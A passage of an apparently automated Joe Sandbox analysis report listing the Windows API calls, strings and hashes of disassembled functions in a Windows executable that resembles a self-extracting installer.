GetTokenInformation.ADVAPI32 ref: 00007FF7E6E8138C
GetLastError.KERNEL32 ref: 00007FF7E6E813A0
LocalAlloc.KERNEL32 ref: 00007FF7E6E813BA
GetTokenInformation.ADVAPI32 ref: 00007FF7E6E813E8
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF7E6E81435
EqualSid.ADVAPI32 ref: 00007FF7E6E81460
FreeSid.ADVAPI32 ref: 00007FF7E6E81485
LocalFree.KERNEL32 ref: 00007FF7E6E81494
CloseHandle.KERNEL32 ref: 00007FF7E6E814A4

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 6813b6756910e0ae34933596af1690bcf55f2b4d44473aa3a3cec1d83aee30ca
Instruction ID: 2f0227c83e7e59e39f2661aae12e9bf9fa1d731cb7053a8b96c6adda6d63e5f8
Opcode Fuzzy Hash: 6813b6756910e0ae34933596af1690bcf55f2b4d44473aa3a3cec1d83aee30ca
Instruction Fuzzy Hash: AF516532A14AC2CAD7109F21E8442BABBA4FB8DF88F855136DA8E57794DF38D405C711

Function 00007FF7E6E81C0C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E82D7F), ref: 00007FF7E6E81C21
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF7E6E82D7F), ref: 00007FF7E6E81C3A
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF7E6E81C7B
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7E6E81CB2
CloseHandle.KERNEL32 ref: 00007FF7E6E81CC5
ExitWindowsEx.USER32 ref: 00007FF7E6E81CF1

Strings

SeShutdownPrivilege, xrefs: 00007FF7E6E81C74

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentExitHandleLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 2829607268-3733053543
Opcode ID: 4521cc09d256cc9c0a3583f069d9fa5dc9083d0cfa193007e767185542f0c5c5
Instruction ID: e6aceb24a4016fbf74d453d8c20c7e15efa65dfdd5ca24ce2dfb317a8a06b84a
Opcode Fuzzy Hash: 4521cc09d256cc9c0a3583f069d9fa5dc9083d0cfa193007e767185542f0c5c5
Instruction Fuzzy Hash: BB218672A28682C7E7109B54E8597BBFB60FB89F45F849136D68E0AA94DF3CD0448B11

Function 00007FF7E6E88964 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7E6E88994
GetCurrentProcessId.KERNEL32 ref: 00007FF7E6E889A2
GetCurrentThreadId.KERNEL32 ref: 00007FF7E6E889AE
GetTickCount.KERNEL32 ref: 00007FF7E6E889BA
GetTickCount.KERNEL32 ref: 00007FF7E6E889CA
QueryPerformanceCounter.KERNEL32 ref: 00007FF7E6E889E5

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: b417f0ca43b0f1a675a55b1394a59fc23cd165e7830d58b26484a22ad4f1a579
Instruction ID: c622dd4c03e7f8aa42c4c46ec9352154b26e7e50efe2ac2d8ac8f96700bcf389
Opcode Fuzzy Hash: b417f0ca43b0f1a675a55b1394a59fc23cd165e7830d58b26484a22ad4f1a579
Instruction Fuzzy Hash: 5F118421A14B818AEB00EF64EC4426573A4F749B58F840A31EAAD4B7D4DF3CD1658350

Function 00007FF7E6E88790 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7E6E8879B

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5301e7076f5ef957a13bc7f6d002c3f7f3b9a25b2f64b703cbde4610621febb0
Instruction ID: ad71363fdba372a6b71eb08314c686a69715b00b7379f050efe81af60e3ed150
Opcode Fuzzy Hash: 5301e7076f5ef957a13bc7f6d002c3f7f3b9a25b2f64b703cbde4610621febb0
Instruction Fuzzy Hash: 87B09210F35482C1D604BBA19CC516253A0BB98B14FC40832C04E881A0DE2C919B8711

Function 00007FF7E6E870A8 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

CharNextA.USER32 ref: 00007FF7E6E87120
GetModuleFileNameA.KERNEL32 ref: 00007FF7E6E871FB
CharUpperA.USER32 ref: 00007FF7E6E8723E
CharUpperA.USER32 ref: 00007FF7E6E872D4
CompareStringA.KERNEL32 ref: 00007FF7E6E87368
CharUpperA.USER32 ref: 00007FF7E6E873A3
CharUpperA.USER32 ref: 00007FF7E6E873FF
CharUpperA.USER32 ref: 00007FF7E6E87498
CloseHandle.KERNEL32 ref: 00007FF7E6E8769E
ExitProcess.KERNEL32 ref: 00007FF7E6E876AC

Strings

:, xrefs: 00007FF7E6E87443
RegServer, xrefs: 00007FF7E6E87359
@, xrefs: 00007FF7E6E8767E
", xrefs: 00007FF7E6E87187

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$:$@$RegServer
API String ID: 1203814774-4077547207
Opcode ID: 6e530289b7fe5922f9cfda438616e34a1a36475502b4d42f4ffce2e3ac89d0b1
Instruction ID: 4e12acf1b0ab830f9c19da5be989816e5f06d68c99652743ba2639ccf40abd5b
Opcode Fuzzy Hash: 6e530289b7fe5922f9cfda438616e34a1a36475502b4d42f4ffce2e3ac89d0b1
Instruction Fuzzy Hash: 8C029E61A2C6C245EE60AB245C1677FEFA1BB42F40FDC0533D9DE0A6D5CE3DA8058722

Function 00007FF7E6E84A60 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E835E3), ref: 00007FF7E6E84A86
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E835E3), ref: 00007FF7E6E84AAA
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E835E3), ref: 00007FF7E6E84ACA
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E835E3), ref: 00007FF7E6E84AEC
GetTempPathA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E835E3), ref: 00007FF7E6E84B1B
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E835E3), ref: 00007FF7E6E84B3A
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E835E3), ref: 00007FF7E6E84B54
FreeLibrary.KERNEL32 ref: 00007FF7E6E84BF1
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E6E835E3), ref: 00007FF7E6E84C0D

Strings

SHGetPathFromIDList, xrefs: 00007FF7E6E84AE2
SHELL32.DLL, xrefs: 00007FF7E6E84A7F
SHBrowseForFolder, xrefs: 00007FF7E6E84AA0

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 2a5ea4b490894db445cb84de2448d12f1af4c9272f9454c89187ac1fef39355e
Instruction ID: 2f869ebdcfccfcafcebab5d10e76c8ac9772e28761a5454763b8bc4e3f7fb685
Opcode Fuzzy Hash: 2a5ea4b490894db445cb84de2448d12f1af4c9272f9454c89187ac1fef39355e
Instruction Fuzzy Hash: B4514025A29BC286E601AB15BC5427BBA90FB46F91FC84176DD8E0B7D4DF3CD448C711

Function 00007FF7E6E84DCC Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 159memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF7E6E84E60
LocalAlloc.KERNEL32 ref: 00007FF7E6E84F61
LocalAlloc.KERNEL32 ref: 00007FF7E6E84F99
MessageBoxA.USER32 ref: 00007FF7E6E84EA0

Part of subcall function 00007FF7E6E87E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF7E6E87E8C
Part of subcall function 00007FF7E6E87E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF7E6E87ECA

LocalAlloc.KERNEL32 ref: 00007FF7E6E84EFC
MessageBeep.USER32 ref: 00007FF7E6E84FC2
MessageBoxA.USER32 ref: 00007FF7E6E85007
LocalFree.KERNEL32 ref: 00007FF7E6E85018

Part of subcall function 00007FF7E6E87F04: GetVersionExA.KERNEL32 ref: 00007FF7E6E87F59
Part of subcall function 00007FF7E6E87F04: GetSystemMetrics.USER32 ref: 00007FF7E6E87F93
Part of subcall function 00007FF7E6E87F04: RegOpenKeyExA.ADVAPI32 ref: 00007FF7E6E87FC8
Part of subcall function 00007FF7E6E87F04: RegQueryValueExA.ADVAPI32 ref: 00007FF7E6E88003
Part of subcall function 00007FF7E6E87F04: RegCloseKey.ADVAPI32 ref: 00007FF7E6E88016
Part of subcall function 00007FF7E6E87F04: CharNextA.USER32 ref: 00007FF7E6E88065

Strings

rce., xrefs: 00007FF7E6E84DF7
Adv, xrefs: 00007FF7E6E84E91, 00007FF7E6E84FF3

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Local$AllocMessage$EnumLanguagesResource$BeepCharCloseFreeLoadMetricsNextOpenQueryStringSystemValueVersion
String ID: Adv$rce.
API String ID: 2929476258-1496161719
Opcode ID: abe435584ecd5f6fe87ce2b456f1e06dda66ab3f9fb72e6f330788004a039cce
Instruction ID: 44c210a6fce8d9da7ff7bc5e6dd288d1dd49a9d7becf0b87d0c07d93e0cb945f
Opcode Fuzzy Hash: abe435584ecd5f6fe87ce2b456f1e06dda66ab3f9fb72e6f330788004a039cce
Instruction Fuzzy Hash: 5361B521E287C586FB11AB25AC003BAEA90FB59F54F885236DE8D0B7D1DF3CE5458721

Function 00007FF7E6E8261C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 129registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32 ref: 00007FF7E6E82662
CharNextA.USER32 ref: 00007FF7E6E82674
CharNextA.USER32 ref: 00007FF7E6E82683
RegOpenKeyExA.ADVAPI32 ref: 00007FF7E6E82724
RegQueryValueExA.ADVAPI32 ref: 00007FF7E6E8275B
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7E6E82782
RegCloseKey.ADVAPI32 ref: 00007FF7E6E827B9
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7E6E827CF
GetSystemDirectoryA.KERNEL32 ref: 00007FF7E6E827E5

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00007FF7E6E826A6

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 3b652cf53a0166bf7c173558fb1758d4a4d77de799b7ad200d32d7da73422a7a
Instruction ID: d8cb47bec5a35a1020772b4fa2611bf4d7644a0460130fbb64604a4b54631e2d
Opcode Fuzzy Hash: 3b652cf53a0166bf7c173558fb1758d4a4d77de799b7ad200d32d7da73422a7a
Instruction Fuzzy Hash: 095182726286C186EA109B15EC443BBBBA0FB89F90F985032DA8E0B7D4DF3DD845C711

Function 00007FF7E6E833F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7E6E83430
GetDesktopWindow.USER32 ref: 00007FF7E6E83441
SetDlgItemTextA.USER32 ref: 00007FF7E6E83467
SetWindowTextA.USER32 ref: 00007FF7E6E8347D
SetForegroundWindow.USER32 ref: 00007FF7E6E8348C
GetDlgItem.USER32 ref: 00007FF7E6E834A0
GetWindowLongPtrA.USER32 ref: 00007FF7E6E834B7
SetWindowLongPtrA.USER32 ref: 00007FF7E6E834D9
SendDlgItemMessageA.USER32 ref: 00007FF7E6E8350A

Strings

Adv, xrefs: 00007FF7E6E83473

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: Adv
API String ID: 3785188418-921584719
Opcode ID: 5437c451f9b0f03a7d5304c51dea48bd08e1932c988bfe6d4e908a474b1ba20e
Instruction ID: 67542f3fa90126c40bd2ee6dde17308dcc61a848c0fb50e71aa3b0d808790ffc
Opcode Fuzzy Hash: 5437c451f9b0f03a7d5304c51dea48bd08e1932c988bfe6d4e908a474b1ba20e
Instruction Fuzzy Hash: 9C314670D247C28AE6106B64AC04376EB51FB9AF61FCC9232C99E0A3D4DF3DA445C722

Function 00007FF7E6E87F04 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E6E87F59
GetSystemMetrics.USER32 ref: 00007FF7E6E87F93
RegOpenKeyExA.ADVAPI32 ref: 00007FF7E6E87FC8
RegQueryValueExA.ADVAPI32 ref: 00007FF7E6E88003
RegCloseKey.ADVAPI32 ref: 00007FF7E6E88016
CharNextA.USER32 ref: 00007FF7E6E88065

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00007FF7E6E87FBA

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 3b2a06a11d2becce3ce338110b622480474f8ae87116164a32f9474e2bd7df5d
Instruction ID: 785f7b615460204e3b8b8cc5774549bd755fe9b747ae686dceec558bece4525f
Opcode Fuzzy Hash: 3b2a06a11d2becce3ce338110b622480474f8ae87116164a32f9474e2bd7df5d
Instruction Fuzzy Hash: 52514E32E29A818AE7109B24DC4027BB7A5FB89F64F894132DA9D077D4DF3CE544CB52

Function 00007FF7E6E811CC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E6E81209
GetProcAddress.KERNEL32 ref: 00007FF7E6E8122B
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF7E6E81278
FreeSid.ADVAPI32 ref: 00007FF7E6E812A0
FreeLibrary.KERNEL32 ref: 00007FF7E6E812AF

Strings

advapi32.dll, xrefs: 00007FF7E6E811FC
CheckTokenMembership, xrefs: 00007FF7E6E81221

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: aca234308d6c2b9a7267944faa7f1f83278d608330c87f71542cc3174e944061
Instruction ID: 8ab35ba5158882d6123d333f430ecd8219c067d6859b2b0dbea515892f7e07ee
Opcode Fuzzy Hash: aca234308d6c2b9a7267944faa7f1f83278d608330c87f71542cc3174e944061
Instruction Fuzzy Hash: 9C314436918B858AD7109F15F8442AAFBA0FB89F50F895136DE8E47754DF3CE005CB50

Function 00007FF7E6E82834 Relevance: 12.2, APIs: 8, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00007FF7E6E82A44

Part of subcall function 00007FF7E6E8261C: CharUpperA.USER32 ref: 00007FF7E6E82662
Part of subcall function 00007FF7E6E8261C: CharNextA.USER32 ref: 00007FF7E6E82674
Part of subcall function 00007FF7E6E8261C: CharNextA.USER32 ref: 00007FF7E6E82683
Part of subcall function 00007FF7E6E8261C: RegOpenKeyExA.ADVAPI32 ref: 00007FF7E6E82724
Part of subcall function 00007FF7E6E8261C: RegQueryValueExA.ADVAPI32 ref: 00007FF7E6E8275B
Part of subcall function 00007FF7E6E8261C: ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7E6E82782
Part of subcall function 00007FF7E6E8261C: RegCloseKey.ADVAPI32 ref: 00007FF7E6E827B9

GetFileVersionInfoSizeA.VERSION ref: 00007FF7E6E828AC
GlobalAlloc.KERNEL32 ref: 00007FF7E6E828C9
GlobalLock.KERNEL32 ref: 00007FF7E6E828E4
GetFileVersionInfoA.VERSION ref: 00007FF7E6E8290C
VerQueryValueA.VERSION ref: 00007FF7E6E82932
GlobalUnlock.KERNEL32 ref: 00007FF7E6E829DC
GlobalUnlock.KERNEL32 ref: 00007FF7E6E829F0

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Global$Char$FileInfoNextQueryUnlockValueVersion$AllocCloseEnvironmentExpandFreeLockOpenSizeStringsUpper
String ID:
API String ID: 1051330783-0
Opcode ID: 6d4c51d06f972b13cb99adb0e904218bc9eace2558dcc6cb5054029ba0357b51
Instruction ID: 67f8143177d72727b6932f9ff52a12529c8f235b64bcbd6b75176a6b94443a65
Opcode Fuzzy Hash: 6d4c51d06f972b13cb99adb0e904218bc9eace2558dcc6cb5054029ba0357b51
Instruction Fuzzy Hash: AA514532A146C28EEA109F159C007BAB7A4FB48F94F989132DE4D6B7D4DF39E841C761

Function 00007FF7E6E82A6C Relevance: 12.1, APIs: 8, Instructions: 126COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E6E82AB2
IsDBCSLeadByte.KERNEL32 ref: 00007FF7E6E82ACE
CharNextA.USER32 ref: 00007FF7E6E82AF4
CharUpperA.USER32 ref: 00007FF7E6E82B07
CharPrevA.USER32 ref: 00007FF7E6E82B43
CharUpperA.USER32 ref: 00007FF7E6E82B9F
CharNextA.USER32 ref: 00007FF7E6E82BF9
CharNextA.USER32 ref: 00007FF7E6E82C0B

Memory Dump Source

Source File: 00000004.00000002.1290331068.00007FF7E6E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7E6E80000, based on PE: true

Associated: 00000004.00000002.1290301886.00007FF7E6E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290391474.00007FF7E6E89000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290448833.00007FF7E6E8C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1290473952.00007FF7E6E8E000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7e6e80000_GdGXG0bnxH.jbxd

Similarity

API ID: Char$Next$Upper$ByteFileLeadModuleNamePrev
String ID:
API String ID: 975904313-0
Opcode ID: 2979d283a01604d961735a48130beb2dfdd98dda21d4e4b67344f999235a94dc
Instruction ID: dd0bf3fe57a64bba49ff4294fc6b06231aacdd911e2e1cb76dadfe48b4a24672
Opcode Fuzzy Hash: 2979d283a01604d961735a48130beb2dfdd98dda21d4e4b67344f999235a94dc
Instruction Fuzzy Hash: 24518861A296C549FB216F259C043BAEB91BB49F91F8C4172CACE0F7C5CE3CD8458761

Function 00007FF7E6E83F74 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 71memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85078
Part of subcall function 00007FF7E6E85050: SizeofResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E85089
Part of subcall function 00007FF7E6E85050: FindResourceA.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850AF
Part of subcall function 00007FF7E6E85050: LoadResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850C0
Part of subcall function 00007FF7E6E85050: LockResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850CF
Part of subcall function 00007FF7E6E85050: memcpy_s.MSVCRT ref: 00007FF7E6E850EE
Part of subcall function 00007FF7E6E85050: FreeResource.KERNEL32(?,?,00000000,00007FF7E6E82E43), ref: 00007FF7E6E850FD

LocalAlloc.KERNEL32(?,?,?,?,?,00007FF7E6E83139), ref: 00007FF7E6E83F95
LocalFree.KERNEL32 ref: 00007FF7E6E84018

Part of subcall function 00007FF7E6E84DCC: LoadStringA.USER32 ref: 00007FF7E6E84E60
Part of subcall function 00007FF7E6E84DCC: MessageBoxA.USER32 ref: 00007FF7E6E84EA0

Part of subcall function 00007FF7E6E87700: GetLastError.KERNEL32 ref: 00007FF7E6E87704

lstrcmpA.KERNEL32(?,?,?,?,?,00007FF7E6E83139), ref: 00007FF7E6E8403E
LocalFree.KERNEL32(?,?,?,?,?,00007FF7E6E83139), ref: 00007FF7E6E8409F

Part of subcall function 00007FF7E6E87AC8: FindResourceA.KERNEL32 ref: 00007FF7E6E87AF2
Part of subcall function 00007FF7E6E87AC8: LoadResource.KERNEL32 ref: 00007FF7E6E87B09
Part of subcall function 00007FF7E6E87AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF7E6E87B3F
Part of subcall function 00007FF7E6E87AC8: FreeResource.KERNEL32 ref: 00007FF7E6E87B51

LocalFree.KERNEL32 ref: 00007FF7E6E84078

Strings

LICENSE, xrefs: 00007FF7E6E83F7D, 00007FF7E6E83FE0
<None>, xrefs: 00007FF7E6E84037

Memory Dump Source

